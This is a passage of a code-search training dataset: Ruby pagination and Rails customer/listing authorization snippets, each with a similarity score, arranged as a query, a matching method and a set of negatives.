"def get_page_number\n if page_parameters_defined?\n @query_params[:page] = params[:document_counter].to_i==1 ? 1 : ((params[:document_counter].to_f-1)/current_per_page).ceil\n end\n end",
"def previous_page_number\n Hash(previous_page_params).fetch('page', {}).fetch('number', nil)\n end",
"def page\r\n return @cache[:page] unless @cache[:page].nil?\r\n\r\n @cache[:page] = @agent.try(:page)\r\n end",
"def current_page\n [(params[:page] || @default_page || 1).to_i, 1].max # ensure positive integer\n end",
"def parse_page_param\n if params[:page].present?\n begin\n page_number = params[:page].to_i\n raise StandardError if page_number <= 0\n return page_number - 1\n rescue Exception\n render 'api/v1/shared/failure', locals: {errors: [{page: 'parameter is wrong'}]}, status: :unprocessable_entity\n return\n end\n else\n return 0\n end\n end",
"def max_page(doc)\n last_page_link = doc.css(\"span.pagelinks a\").last['href']\n Integer(last_page_link[/p=(\\d+)&/,1])\nend",
"def max_page(doc)\n last_page_link = doc.css(\"span.pagelinks a\").last['href']\n Integer(last_page_link[/p=(\\d+)&/,1])\nend",
"def current_page; end",
"def current_page; end",
"def current_page\n @page\n end",
"def next_page\n @current_page + 1 if has_next_page?\n end",
"def calculate_pages(client, method, request_options)\n # Makes the first API call so that we can call last_response\n check_github_response do\n client.send(method, user_project, DEFAULT_REQUEST_OPTIONS.merge(request_options))\n end\n\n last_response = client.last_response\n\n if (last_pg = last_response.rels[:last])\n querystring_as_hash(last_pg.href)[\"page\"].to_i\n else\n 1\n end\n end",
"def current_page\n first(@raw_page['records'].size)\n end",
"def current_page\n @current_page\n end",
"def last_page(url = onliner_url)\n JSON(Net::HTTP.get(URI(url)))['page']['last']\n #Net::HTTP.get(URI(url)).scan(/\\\"last\\\"\\:\\d{1,}/).to_s.scan(/\\d+/).first.to_i\n end",
"def rel_canonical_href_page_number(records)\n @rel_canonical_href_page_number ||= records.is_a?(WillPaginate::Collection) && records.current_page > 1 ?\n records.current_page : nil\n end",
"def page_count\n @page_counter\n end",
"def page\r\n\t\t\t\tparams[:page].to_i || 1\r\n\t\t\tend",
"def current_page\n [results.current_page, results.total_pages].min\n end",
"def next_page\n current_page < page_count ? (current_page + 1) : nil\n end",
"def next_page\n current_page < page_count ? (current_page + 1) : nil\n end",
"def next_page\n current_page < page_count ? (current_page + 1) : nil\n end",
"def current_page\n @agent.current_page\n end",
"def page\n # extract :page from defaults? no need using default page?\n @params[:page].to_i > 0 ? @params[:page] : @cfg[:default][:page]\n end",
"def current_page\n per_page.zero? ? 0 : (@solr_data[:start].to_i / per_page) + 1\n end",
"def next_page\n return nil if total_pages == -1\n return nil if page == total_pages\n return page + 1\n end",
"def page\n Integer(params[:page] || 1)\n end",
"def extract_page_count(info)\n pages = info.split(/; /).select {|s| /.* pages/.match(s)}.first\n unless pages.nil?\n /([\\d]*) pages/.match(pages)[1]\n else\n nil\n end\n end",
"def page\n\t\tpage = request.path.split(\"/\")[-1]\n\tend",
"def last_page\n return nil if total_pages < 1\n return total_pages\n end",
"def last_page\n @links['last']\n end",
"def page_count(input)\n info = info(input)\n return nil if info.nil?\n info['Pages'].to_i\n end",
"def current_page\n params[:page]\n end",
"def next_page\n num = current_page + 1\n num if total_pages >= num\n end",
"def next_page_url\n \"#{request.path}?page=#{@page + 1}\"\n end",
"def next_page\n if pages.any? && pages_count > pages.last\n pages.last + 1\n end\n end",
"def next_page\n current_page + 1 unless last_page? || out_of_range?\n end",
"def normalized_page\n return 0 if @opts[:page].blank?\n @opts[:page].to_s.gsub(\"-\",\"\").to_i\n end",
"def number_of_pages\n document.at(\"[@itemprop='numberOfPages']\").innerHTML.scan(/\\d+/).first.to_i rescue nil\n end",
"def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"def next_page\n @links['next']\n end",
"def page\n @page ||= params[:page] || 1\n end",
"def pa_request(*args)\n bp_request\n @page_number = convert_expression(@page_number, args, \"page number\") - 1 # Becaue it will be incremented\n end",
"def next_page\n current_page >= total_pages ? nil : current_page + 1\n end",
"def num_pages \n if source_record['300'] && (source_record['300']['a'] =~ /(\\d{1,6}) ?pp?(?:[\\. ]|\\Z)(?!.*\\d+ pp?(?:[\\. ]|\\Z))/)\n return $1\n end\n\n return nil\n end",
"def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"def previous_page\n @links['previous']\n end",
"def page_number\n raise NotImplemented\n end",
"def last_page_index\n num_pages() - 1\n end",
"def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"def next_page\n @current_page < num_pages ? (@current_page + 1): nil\n end",
"def get_page\n case page = params[:page].to_i\n when 0; 1\n when (1..POST_PAGES); page\n else POST_PAGES\n end\n end",
"def current_url\n @rawpage.current_url\n end",
"def getCurrentPage(doc)\n currentPage = 1\n\n doc.search(\"Document > View > ScrollView > VBoxView > View > MatrixView > VBoxView:nth(0) > HBoxView > TextView > SetFontStyle > b\").each do |e|\n # Parse the first number in the string, e.g. the 3 in \"Page 3 of 99\"\n currentPage = e.inner_html[/[0-9]+/].to_i\n end\n\n return currentPage\nend"
] | [
"0.7304405",
"0.71820056",
"0.7178546",
"0.71626675",
"0.7121461",
"0.7068206",
"0.699399",
"0.6957431",
"0.6923614",
"0.68471843",
"0.6816601",
"0.68135417",
"0.6805339",
"0.6794579",
"0.67805713",
"0.6757622",
"0.6757622",
"0.67355573",
"0.67122304",
"0.67073494",
"0.67028624",
"0.6674465",
"0.66729313",
"0.66712695",
"0.66151035",
"0.6613407",
"0.66043204",
"0.6551778",
"0.6548369",
"0.6528556",
"0.6512942",
"0.6489651",
"0.64641124",
"0.64494216",
"0.64489055",
"0.64328897",
"0.6428666",
"0.64244884",
"0.6394396",
"0.63927567",
"0.6380783",
"0.6371383",
"0.6369165",
"0.6340514",
"0.6319014",
"0.631386",
"0.631386",
"0.62938946",
"0.62938946",
"0.62788683",
"0.6277033",
"0.62633324",
"0.62546146",
"0.62409467",
"0.6214198",
"0.6198118",
"0.61881506",
"0.6186891",
"0.6186816",
"0.61815023",
"0.61562026",
"0.61562026",
"0.61473024",
"0.61299634",
"0.6125335",
"0.61150724",
"0.6108634",
"0.609546",
"0.6085282",
"0.60770273",
"0.6070111",
"0.6066873",
"0.6064275",
"0.6039052",
"0.60389954",
"0.60386515",
"0.6026697",
"0.6024807",
"0.60243684",
"0.6022706",
"0.6022706",
"0.6022706",
"0.602143",
"0.6011542",
"0.60108984",
"0.60108733",
"0.60027915",
"0.59955907",
"0.5995337",
"0.5995337",
"0.59941494",
"0.599301",
"0.59872854",
"0.5976102",
"0.5976102",
"0.5973449",
"0.5969568",
"0.59693724",
"0.5963868"
] | 0.76781726 | 1 |
Formula: n! / ((nr)! r!) | def factorial(x)
# (1..x).inject(:*) || 1
(1..x).inject(:*)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def /(n)\n self * (1.0 / n)\n end",
"def rdiv(p0) end",
"def d(n)\r\n proper_divisors(n).reduce(:+)\r\nend",
"def numerator() end",
"def reciprocal\n\t\tRacional.new(denom, num)\n\tend",
"def ncr(n, r)\n n.downto(n-r+1).inject(:*) / fct(r)\n # ((n-r+1)..n).inject(:*) / (1..r).inject(:*)\nend",
"def reciprocal\n RationalNumber.new(self.denominator, self.numerator)\n end",
"def proper_divisors n\n if (n < 2)\n return []\n end\n\n r = Math.sqrt(n)\n p = (r - 1).ceil\n d = (2..p).collect { |x| [x, n/x] if n % x == 0 }.compact.flatten\n if (r == r.floor)\n d.concat([r.floor])\n end\n return d.concat([1])\nend",
"def reciprocal\n Fraccion.new(@d,@n)\n end",
"def division(n, d)\n n, d = reducir(n, d)\n \n @n *= d\n @d *= n\n \n reducir(@n, @d)\n return @n, @d\n end",
"def rek(n)\n if n == 1\n return 1/3.to_f\n end\n if n == 0\n return 1.to_f\n end\n return 13.0*rek(n-1)/3.0 - 4.0*rek(n-2)/3.0\nend",
"def /(n) self * 1.quo(n) end",
"def sgn(n)\n return 0 if n == 0\n return n / n.abs\n end",
"def nchooser(n, r)\n\n (1..n).reduce(:*) / ( (1..r).reduce(:*) * (1..(n-r)).reduce(:*) )\n\nend",
"def d(n)\n divisors = (1...n).select{ |i| n % i == 0 }\n divisors.reduce(&:+)\nend",
"def ncr(n, r)\n return factorial(n)/(factorial(r)*factorial(n-r))\nend",
"def d(n)\n (2..Math.sqrt(n)).inject(1){|s, i| n % i == 0 ? s + i + n/i : s}\nend",
"def ncr(n, r)\n factorial = lambda do |e|\n e == 1 ? (return 1) : (return e * factorial.call(e - 1))\n end\n puts factorial.call(n) / (factorial.call(n - r) * factorial.call(r))\nend",
"def reciprocal ()\n\tFraccion.new(@denominador,@numerador)\n end",
"def / number\n self.class[ self.with_values do |val|\n raise TErr, \"Compositions with rational exponents \" +\n \"not implemented!\" if val % number != 0\n val / number\n end ]\n end",
"def f_1_4tel_rek(n)\n return false if !n.is_a?(Integer) || n < 1\n\n # base case\n return 1.0 / (1 * (1+1) * (1+2)) if n == 1\n\n # general case\n 1.0 / (n * (n+1) * (n+2)) + f_1_4tel_rek(n - 1)\nend",
"def divisors(n)\n (1.upto(n ** 0.5).select { |d| (n % d).zero? }.size * 2) - 1\nend",
"def rdiv(arg0)\n end",
"def pv(fv, n, r)\n fv*(1.0/((1+r)**n))\nend",
"def f(n)\n\to = n-1\n\to*= 4/5.to_f\n\to\nend",
"def denominator() end",
"def reciprocal\n nil\n end",
"def reciprocal\n nil\n end",
"def reciprocal\n dividend = 1\n answer = max = remainder = count = 0\n 999.downto(7) do |divisor|\n next if divisor % 2 == 0 || divisor % 5 == 0\n count = 0\n until count > 2 && remainder == 1\n remainder = dividend % divisor\n dividend = remainder * 10\n count += 1\n end\n if count > max\n max = count\n answer = divisor\n end\n end\n answer\nend",
"def /(n)\n return self.class.new(@val/n) if Numeric === n\n raise TypeError, \"Expected Numeric\"\n end",
"def reducir(n, d)\n aux = gcd(n, d)\n n = n / aux\n d = d / aux\n return n, d\n end",
"def phi_norm(n)\n primes = n.prime_division.map(&:first)\n primes.map { |p| 1.0 - 1.0 / p }.inject(:*)\nend",
"def divisors(n)\n arr = Prime.prime_division(n).map { |v,exp| (0..exp).map { |i| v**i } }\n arr.first.product(*arr[1..-1]).map { |a| a.reduce(:*) }.map { |m| [m,n/m] }\nend",
"def v(r,c) (f(r)/f(c)/f(r-c)).to_s end",
"def return_rational(numerator)\n\t\tnumerator/36.to_r\n\tend",
"def triangular_number(n)\n n * (n + 1) / 2 # You can also do reduce(:+) but this is way less calculations\nend",
"def proper_divisors(n)\r\n divisors = Array.new\r\n 1.upto(Math.sqrt(n)) do |x|\r\n if n % x == 0\r\n divisors << x\r\n if x != n / x && x != 1\r\n divisors << n / x\r\n end\r\n end\r\n end\r\n divisors\r\n end",
"def f_1_4tel_rek(n)\r\n if !n.integer? || n < 1\r\n return false\r\n end\r\n\r\n def end_rek(i, s)\r\n if i > 0\r\n end_rek(i - 1, (1.0 / (i * (i + 1.0) * (i + 2.0))) + s)\r\n else\r\n return s\r\n end\r\n end\r\n return end_rek(n, 0)\r\nend",
"def division(r, i)\n p_r = (@r*r + @i*i).to_f / (r**2 + i**2)\n p_i = (@i*r - @r*i).to_f / (r**2+i**2)\n c3 = Complejo.new(p_r, p_i)\n return c3.to_s\n end",
"def recessive k, m, n\n all = k + m + n\n mix = m + n\n total = 4.0 * triangle(all) # 2 * squareish all = 2 * 2 * triangle all\n\n lhs = triangle n\n mid = n * mix - n\n rhs = triangle mix\n\n 1 - (lhs+mid+rhs) / total\n end",
"def r(p,n,a,s)\n j = p[a-1] - s - 1\n v = 0\n i = 0\n for i in 0..(j-1) do\n v += b(i) * b(n-i-1)\n end\n v +\n (j <= 1 ? 0 : b(n-j-1) * (r(p,j,a+1,s) - 1)) +\n (n-j-1 <= 1 ? 1 : r(p,n-j-1,a+j+1,s+j+1))\n end",
"def reciprocal\nFraccionario.new(@den, @num)\nend",
"def triangularNumber n\n # closed-form expression for the sum of the first \"n\" counting numbers\n # i.e. 1+2+...+n\n thisNum = (n * (n + 1) / 2)\n return thisNum\nend",
"def reduce!\n g = gcd(@numer, @denom)\n @numer /= g\n @denom /= g\n self\n end",
"def penta(n)\n return n* (3*n - 1) / 2\nend",
"def sum_divisors(n)\r\n (1...n).select { |x| (n % x).zero? }.sum - 1\r\nend",
"def div(p0) end",
"def circleOfNumbers(n, firstNumber)\n a = n/2 +firstNumber\n a >= n ? (a-n) : a\nend",
"def do_division_by_zero; 5 / 0; end",
"def do_division_by_zero; 5 / 0; end",
"def do_division_by_zero; 5 / 0; end",
"def /(other)\n\tself.num / other.num\nend",
"def divide_r!(i, c)\n @left.divide_r!(i, c)\n @body.divide_r!(i, c)\n end",
"def divide\n match '/'\n factor\n emit_ln 'MOVE (SP)+,D1'\n emit_ln 'DIVS D1,D0'\nend",
"def pmt(pv, n, r)\n (pv*r)/(1.0 - 1/(1.0+r)**n)\nend",
"def post_divide; end",
"def get_divisors n\n n = n/2 if n % 2 == 0 \n divisors = 1\n count = 0\n while n % 2 == 0\n count += 1\n n = n/2\n end\n divisors *= (count + 1)\n p = 3\n while n != 1\n count = 0\n while n % p == 0\n count += 1\n n = n/p\n end\n divisors *= (count + 1)\n p += 2\n end\n #puts divisors\n return divisors\nend",
"def triangular_number_with_n_divisitors(num)\r\n\trunner = 0\r\n\ti = 2\r\n\twhile runner < num do\r\n\t\ti += 1\r\n\t\trunner = triangular_number_of_divisitors(i)\r\n\tend\r\nend",
"def divide(input_number)\n $number /= input_number\n return $number\nend",
"def divmod(p0) end",
"def egcd(a, n)\n t, newt = [0, 1]\n r, newr = [n, a]\n until newr == 0\n q = r / newr\n t, newt = [newt, t - q * newt]\n r, newr = [newr, r - q * newr]\n end\n [r, t]\nend",
"def numerology(num1)\n\t# Calculate answer \n\t(((((num1 + 5) * 2) - 4) / 2) - num1)\nend",
"def pre_divide; end",
"def rFact(num)\n\tif num == 0 or num == 1\n\t\treturn 1\n\telse\n\t\treturn rFact(num -1) * num\n\tend\nend",
"def tri(n)\n n*(n+1)/2\nend",
"def rh_factor; end",
"def eval\n (num*1.0/den)\n end",
"def inverse_modulo(n)\n\t\treturn nil unless self.gcd(n) == 1\n\t\t(n.extended_gcd(self).last) % n\n\tend",
"def numerator\n\t\tan = @a.numerator\n\t\tbn = @b.numerator\n\t\tad = @a.denominator\n\t\tbd = @b.denominator\n\t\tabd = ad.lcm(bd)\n\t\t__new__(an * (abd / ad), bn * (abd / bd))\n\tend",
"def divisionm(num_1,num_2)\n return num_1 / num_2\nend",
"def root(n = 2)\n return (self ** (1.0 / n))\n end",
"def inv_mod x,n\n d,r,s = gcd2 x,n\n if d==1\n r % n\n else\n 0\n end\nend",
"def rpower(n) end",
"def modulo_of(fraction); end",
"def divisors(n)\n divs = []\n # NOT INCLUDING ITSELF\n (1...n).each do |i|\n if n % i == 0\n divs << i\n end\n end\n divs\nend",
"def d(n)\r\n\t\t\tfactors(n).inject(:+)-n\r\n\t\tend",
"def potenz(x, n)\n check_pre((n.nat?))\n if (n == 1) then\n x\n elsif (n == 0) then\n 1\n else \n x*=potenz((x), n-1)\n end\n end",
"def division (first_number, second_number)\nfirst_number / second_number\nend",
"def s1(n)\n (n*(n+1)/2)**2\nend",
"def triangle_number_with_gt_n_divisors(n)\n triangle_number = 1\n num_to_add = 2\n while divisors(triangle_number) <= n\n triangle_number = triangle_number + num_to_add\n num_to_add += 1\n end\n triangle_number\nend",
"def /(n)\n Pair.new(@x/n, @y/n)\n end",
"def gauss_formula(n)\n n * (n + 1) / 2\nend",
"def NR(exp,num,prec)\r\n\tres = Float(num)\r\n\twhile((res**exp - num) > prec)\r\n\t\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\t\t#puts res\r\n\tend\r\n\treturn res\r\nend",
"def triagonal_number(n)\r\n\t(n*(n+1))/2\r\nend",
"def div_factor(n, fact)\n\t# check to make sure it's a factor\n\tif n % fact == 0\n\t\twhile n % fact == 0\n\t\t\tn = n.div(fact)\n\t\tend\n\tend\n\tn\nend",
"def nrm2 incx=1, n=nil\n self.twoDMat.getFrobeniusNorm()\n end",
"def permutations(n, r)\n result = factorial(n) / factorial(n - r)\n puts \"\\nP(#{n},#{r}) = #{result}\"\n end",
"def resta(n, d)\n if(@d == d)\n @n -= n\n @n, @d = reducir(@n, @d)\n else\n new_d = lcm(@d, d)\n new_n = ((new_d / @d) *@n ) - ((new_d / d) *n ) \n @n, @d = reducir(new_n, new_d)\n end\n return @n,@d\n end",
"def getDivSums(n)\n #initialize total\n total = 0\n #for every number less than n\n for i in 1..n-1\n #if i is a divisor\n if n%i == 0\n #add divisor to total\n total += i\n end\n end\n #return total\n return total\nend",
"def mobius(n)\r\n\t\treturn 1 if 1 == n\r\n\t\treturn 0 unless n.squarefree?\r\n\t\treturn factorize(n).size.odd? ? -1 : 1\r\n\tend",
"def counting_the_divisor\n i = 12370\n count = 0\n triagular_factor = 0\n loop do\n triagular_factor = triangular_number_logic(i)\n p triagular_factor\n count = divisors(triagular_factor)\n break if count > 500\n\n p count\n i += 1\n end\n p triagular_factor\n p count\nend",
"def sbs_NR(exp,num,step,prec)\r\n\tres = Float(step)\r\n\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\tif((res**exp - num) < prec)\r\n\t\treturn 0\r\n\telse\r\n\t\treturn res\r\n\tend\r\nend",
"def sbs_NR(exp,num,step,prec)\r\n\tres = Float(step)\r\n\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\tif((res**exp - num) < prec)\r\n\t\treturn 0\r\n\telse\r\n\t\treturn res\r\n\tend\r\nend",
"def divisors(n)\n results = []\n max = Math.sqrt(n).floor\n (1..(max)).each do |div|\n # next if results.include?(div)\n x, y = n.divmod(div)\n results << x << div if y == 0\n end\n results.uniq.sort\nend",
"def arithmetic( n )\n am = n.inject(0, :+)\n print \"AM = #{am/n.size.to_f} \"\nend",
"def reduce\n if denominator.to_i == 0\n puts \"ERROR\"\n else\n min = [numerator,denominator].min\n min.downto(2) do |x|\n if numerator%x == 0 && denominator%x == 0\n n = numerator/x\n d = denominator/x\n puts n.to_s + \"/\" + d.to_s\n break\n end\n end\n end\n end",
"def idiv n\n (self / n.to_f).to_i\n end",
"def fraction(hash,n)\n result = {}\n result[:n] = (n - hash[:minus]**2)/hash[:n]\n result[:i] = (Math.sqrt(n).to_i + hash[:minus])/result[:n]\n result[:minus] = result[:i]*result[:n]-hash[:minus]\n result\nend",
"def denominator_formula\n 1.upto(payments - 1).map { |m| \"(1 + percent) ** (#{m} * payment_period)\" }\n .push(1)\n .join(' + ')\n end",
"def triangular_num(i)\n ((i * (i + 1)) / 2)\nend",
"def /(rvalue)\n values = coerce(rvalue)\n return ( values[1] / values[0])\n end"
] | [
"0.6812761",
"0.67714286",
"0.67254984",
"0.6498733",
"0.6449835",
"0.63648486",
"0.6360352",
"0.63391376",
"0.633487",
"0.6276087",
"0.6247886",
"0.62237537",
"0.6221638",
"0.61941445",
"0.61822236",
"0.6177537",
"0.6116024",
"0.6107728",
"0.61040384",
"0.6084036",
"0.6083742",
"0.6069659",
"0.6063567",
"0.6055673",
"0.60554963",
"0.604714",
"0.6035809",
"0.6035809",
"0.6035155",
"0.5964597",
"0.5962825",
"0.5955788",
"0.5935987",
"0.5927513",
"0.5918151",
"0.5878811",
"0.58761626",
"0.5871602",
"0.58690137",
"0.5861948",
"0.5849256",
"0.58480895",
"0.58420444",
"0.57972807",
"0.57743096",
"0.5771954",
"0.5749121",
"0.5747444",
"0.573799",
"0.573799",
"0.573799",
"0.57365984",
"0.5718866",
"0.57163554",
"0.5716216",
"0.57117265",
"0.5706769",
"0.5705219",
"0.5698029",
"0.56899464",
"0.56898654",
"0.56889296",
"0.5685711",
"0.5685231",
"0.5682274",
"0.5680468",
"0.5679913",
"0.5677075",
"0.56761837",
"0.56549084",
"0.56544757",
"0.565062",
"0.5637111",
"0.5622394",
"0.5612125",
"0.56091124",
"0.5603305",
"0.56031054",
"0.5590607",
"0.55815",
"0.5579957",
"0.5570833",
"0.5568374",
"0.5567674",
"0.556646",
"0.5561437",
"0.55576366",
"0.5557028",
"0.5553075",
"0.55525273",
"0.5543978",
"0.55408406",
"0.55408406",
"0.55408204",
"0.5529599",
"0.5527582",
"0.55274683",
"0.5526982",
"0.55153024",
"0.55138236",
"0.5509767"
] | 0.0 | -1 |
If the user is a customer and the listing does not belong to them: | def verify_action
if current_user.customer?
redirect_to root_url
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def chargeable? listing\n listing.seller?(@user) && listing.new? \n end",
"def user_is_customer?\n (user_signed_in? && current_user.is_customer?)\n end",
"def logged_in_customer?\n !current_customer.nil?\n end",
"def current_customer?(customer)\n customer == current_customer\n end",
"def current_customer?(customer)\n customer == current_customer\n end",
"def current_customer?(customer)\n\t\tcustomer == current_customer\n\tend",
"def owner_or_admin\n listing = SellerListing.find(params[:id])\n\n unless user_signed_in? && (current_user.id == listing.user_id || current_user.admin?)\n if !user_signed_in?\n Rails.logger.warn(\"User tried to access page without being signed in\")\n elsif current_user.id != listing.user_id\n Rails.logger.warn(\"#{current_user.to_s} tried to access a page that belongs to #{listing.user.to_s}\")\n elsif !current_user.admin?\n Rails.logger.warn(\"#{current_user.to_s} needs to be an admin to access this page\")\n end\n\n flash[:error] = 'Sorry, but you are not permitted to view that page.'\n redirect_to new_home_offer_path\n end\n end",
"def owner?\n customer.owner_id == id\n end",
"def returned_by_customer?\n @returned_by_customer\n end",
"def is_listing_owner?\n if session[:listing_id] != params[:id].to_i\n flash[:error] = \"You cannot edit a listing you did not create\"\n custom_redirect_back\n end\n end",
"def set_user_listing\n # find the listing and check if that listing belongs to the loggedin user\n id = params[:id]\n @listing = current_user.listings.find_by_id(id)\n # option1\n if @listing == nil\n # boot the user out\n redirect_to listings_path\n end\n # # option2:\n\n # if listing.user_id != current_user.id\n # redirect_to listings_path\n # end\n\n end",
"def account_customer_info?\n !current_customer.nil?\n end",
"def customer_logged_in?\n !current_customer.nil?\n end",
"def is_customer?\n role = self.role\n\n if(role == 'customer')\n return true\n else\n return false\n end\n end",
"def customer_logged_in?\n !current_customer.nil?\n end",
"def is_myself_or_staff\n @customer = Customer.\n where(:id => params[:id]).\n includes(:vouchers => {:vouchertype => :valid_vouchers}).\n includes(:labels).\n first\n redirect_to login_path if @customer.nil? || (@customer != current_user && !current_user.is_staff)\n end",
"def correct_user\n @listing = current_user.listings.find_by(id: params[:id])\n \n if current_user.admin?\n return true\n end\n \n redirect_to root_url if @listing.nil?\n end",
"def authorize_customer\n unless @reservation.customer == current_customer\n redirect_to reservations_url, notice: 'No touchy!'\n # edit this?\n end\n end",
"def check_if_user_access\n if current_user && current_user.admin?\n @all_orders = Order.all\n @orders = @all_orders.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n elsif current_user && current_user.role == \"Client\"\n @all_orders = @user_company.orders\n @orders = @all_orders.paginate(page: params[:page])\n else\n end\n end",
"def create?\n Listing.belongs_to_current_user(@user).exists?(@record.listing_id)\n end",
"def index\n if !signed_in?\n redirect_to sign_in_path\n else\n # customer?\n if allowed?(action: 'for_superadmin_customer', user: current_user)\n @listings = Listing.all\n @listing = Listing.new\n else\n return redirect_back(fallback_location: root_path)\n end\n end\n end",
"def current_user\n current_customer\n end",
"def customer?\n self.role.role_type == \"customer\"\n end",
"def show\n unless current_user.blank?\n @listing = Listing.find(params[:id])\n\n\n else\n redirect_to new_user_session_path\n end\n end",
"def set_customer\n if signed_in?\n # technically we need nothing here\n end\n end",
"def my_listings\n @listings = current_user.listings.where('id NOT IN (SELECT DISTINCT(listing_id) FROM purchases)').page(params[:page]).per(30)\n end",
"def customer?\n role?(UserRoles::CUSTOMER)\n end",
"def logged_in?\n \tcurrent_customer.is_a? Customer\n end",
"def correct_customer_or_manager_user\n @customer = Customer.find(params[:id])\n if current_customer && current_customer?(@customer)\n # Do Nothing\n elsif current_user && current_user.manager?\n # Do Nothing\n else\n redirect_to(root_url)\n end\n end",
"def check_user\n if user_signed_in? && (current_user.has_role?(:admin) || current_user.id == @listing.user_id )\n else \n flash[:alert] = \"You are not authorized to do that!\"\n redirect_to root_path\n end\n end",
"def user_listings\n @listings =current_user.listings\n end",
"def index\n if current_user.role == 'Party'\n @customers = current_user.customers\n else\n @customers = Customer.all\n end\n end",
"def seller_post? listing, user, ptype\n !user.is_support? && ptype.blank? && listing.new_record?\n end",
"def is_customer_logged_in?\n !session[:customer_id].nil?\n end",
"def admin?\n\tif session[:customer_id].nil?\n\t\treturn\n\telse\n signed_in? == true\n\t@current_customer == Customer.find_by_id(3)\n\tend\nend",
"def deletable_by?(user)\n resource.orders_count.zero? && (user.is_admin? || is_mill?(user))\n end",
"def set_user_listing\n #Find the id of a listing associated with the current user and store in an instance variable\n @listing = current_user.listings.find_by_id(params[:id])\n if @listing == nil \n flash[:alert] = \"Access denied\"\n redirect_to listings_path\n end\n end",
"def listing\n @user = User.all\n unless current_user.admin?\n redirect_to dashboard_show_path\n end \n end",
"def index\n if current_user.role == 'Party'\n @customers = current_user.party.customers\n else\n @customers = Customer.all\n end\n end",
"def customer_order?\n if Order.where(id: order.id, user_id: current_user.id).first.nil?\n redirect_to navigation.back(1)\n return\n end\n end",
"def customer\n self.user\n end",
"def index\n @customers = current_user.customers if current_user.customers!=nil\n @customers = [] if current_user.customers == nil\n end",
"def check_booking_user\n if current_user.id != @booking.user.id\n redirect_to bookings_path, notice: \"Cannot view a booking belonging to another user.\"\n end\n end",
"def wanted_list usr, cid=nil, loc=nil, adminFlg=true\n ListingDataProcessor.new(@listing).wanted_list(usr, cid, loc, adminFlg)\n end",
"def correct_customer\n @favorite = Favorite.find(params[:id])\n current_person.user == @favorite.customer\n end",
"def cancelled_by_customer?\n @cancelled_by_customer\n end",
"def check_if_user_access_transactions\n if current_user && current_user.admin?\n @transactions = Transaction.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n end\n end",
"def edit\n if @listing.user_id != current_user.id\n respond_to do |format|\n format.html { redirect_to listings_url, notice: 'You do not have permission to access this.' }\n format.json { head :no_content }\n end\n end\n end",
"def customer_is_registered?\n @customer.present?\n end",
"def candy_belongs_to_user(current_user)\n if self.shop.user_id == current_user.id\n return true\n else\n return false\n end\n end",
"def check_edit_status listing\n can_edit?(listing) && listing.user.is_business? ? 'BUS' : ''\n end",
"def show\n if current_customer?(@transaction.customer)\n render\n else\n redirect_to root_url\n end\n end",
"def show\n if current_user.role.nil?\n flash.notice = \"You are not authorized for that operation.\"\n redirect_to home_index_path\n elsif current_user.role.include?(\"administrator\") || current_user.role.include?(\"intern\")\n render :show\n elsif current_user.role.include?(\"volunteer\")\n if current_user.customers.include? @order.customer\n render :show\n else\n flash.notice = \"You are not authorized for that operation.\"\n redirect_to home_index_path\n end\n else\n flash.notice = \"You are not authorized for that operation.\"\n redirect_to home_index_path\n end\n end",
"def reviewing?(other_user)\n reviewing.include?(other_user)\n end",
"def logged_in_user_or_customer\n unless user_logged_in? || customer_logged_in?\n store_location\n flash[:danger] = 'Please log in.'\n redirect_to login_url\n end\n end",
"def ordered_on_behalf_of?\n user_id != created_by\n end",
"def i_dont_own?(object)\n if(current_user.present? and object.user.present? and object.user.id.present? and (current_user.id == object.user.id))\n false\n else\n true\n end\n end",
"def following?(customer)\n following.include?(customer_id)\n end",
"def use_existing_customer?(params)\n params[:customer_id].present?\n end",
"def preview_only?(user)\n !listed && !author?(user)\n end",
"def items_to_check\n User.not_admins\n end",
"def no_own_reservations\n if guest == listing.host\n errors.add(:guest, \"Please select a listing that is not your own\")\n end\n end",
"def can_find_customers?\n self.admin\n end",
"def show\n #using cached results provide similar performance so we use cache in order to limit DB I/O\n @sales_listing = SalesListing.cached_saleslisting(params[:id])\n @items = Item.all_cached_item\n # using uncached results provide better performance, might be due to smaller data set\n @listing_statuses = ListingStatus.find(:all, :select => \"id, description\", :order => \"description\")\n respond_to do |format|\n if @sales_listing.user_id == current_user[:id] then\n format.html # show.html.erb\n format.xml { render :xml => @sales_listing }\n else\n format.html { redirect_to(signin_path, :notice => 'You can only view your own listings') }\n end\n end\n end",
"def is_customer_in_exclusion_list?(first_name, last_name)\n name = [first_name, last_name].join(' ')\n !name.strip.blank? and config.exclude_customers.include?(name)\n end",
"def index\n # @booking = Booking.where(user_id: current_user.id)\n if current_user.is_admin\n @bookings = Booking.all\n elsif current_user.is_agent\n # tour_owner = Tour.where(id: params[:tour_id]).pluck(:user_id)\n @bookings = Booking.where(tour_id: params[:tour_id])#.where(user_id: tour_owner)\n elsif current_user.is_customer\n @bookings = Booking.where(user_id: current_user.id)\n end\n\n end",
"def show?\n user.admin? || user.po? || record.user == user\n end",
"def checkaccount(user)\n return unless user\n\n link = user.service\n if (link == 'Both' && !user.sel_detail && !current_page?('/both_details/new') &&\n !current_page?(\"/users/edit.#{user.id}\")) ||\n (link == 'customer' && !user.cus_detail && !current_page?('/cus_details/new') &&\n !current_page?(\"/users/edit.#{user.id}\"))\n render 'layouts/checkaccount'\n end\n end",
"def vendor_user?\n \treturn self.user_category == \"vendor\"\n end",
"def show\n @bookings = @customer.bookings\n end",
